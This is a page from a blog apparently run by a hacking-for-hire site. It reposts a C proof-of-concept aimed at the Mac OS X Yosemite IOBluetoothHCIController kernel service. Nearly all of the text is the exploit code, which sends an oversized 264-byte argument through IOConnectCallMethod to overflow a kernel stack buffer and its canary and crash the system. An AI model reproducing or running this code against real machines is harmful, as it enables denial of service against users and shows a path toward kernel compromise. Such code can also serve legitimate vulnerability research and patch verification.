Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86381180

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
 * crash-issue2.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick.
 *
 * Triggers a panic overwriting a stack_canary.
 *
 * gcc -Wall -o crash-issue2{,.c} -framework IOKit
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

struct BluetoothCall {
  uint64_t args[7];
  uint64_t sizes[7];
  uint64_t index;
};

int main(void) {
  /* Finding vuln service */
  io_service_t service =
    IOServiceGetMatchingService(kIOMasterPortDefault,
				IOServiceMatching("IOBluetoothHCIController"));

  if (!service) {
    return -1;
  }

  /* Connect to vuln service */
  io_connect_t port = (io_connect_t) 0;
  kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
  IOObjectRelease(service);
  if (kr != kIOReturnSuccess) {
    return kr;
  }

  printf(" [+] Opened connection to service on port: %d\n", port);

  struct BluetoothCall a;

  a.sizes[0] = 0x1000;
  a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));

  /* This arguments overflows a local buffer and the adjacent stack canary */
  a.sizes[1] = 264;
  a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
  memset((void *)a.args[1], 'A', a.sizes[1]);

  /* Call IOBluetoothHCIUserClient::DispatchHCIReadLocalName() */
  a.index = 0x2d;

  /* Debug */
  for(int i = 0; i < 120; i++) {
    if(i % 8 == 0) printf("\n");
    printf("\\x%02x", ((unsigned char *)&a)[i]);
  }
  printf("\n");
  fflush(stdout);

  kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
			   (uint32_t) 0,       /* Selector */
			   NULL, 0,	       /* input, inputCnt */
			   (const void*) &a,   /* inputStruct */
			   sizeof(a),	       /* inputStructCnt */
			   NULL, NULL, NULL, NULL); /* Output stuff */
  printf("kr: %08x\n", kr);

  return IOServiceClose(port);
}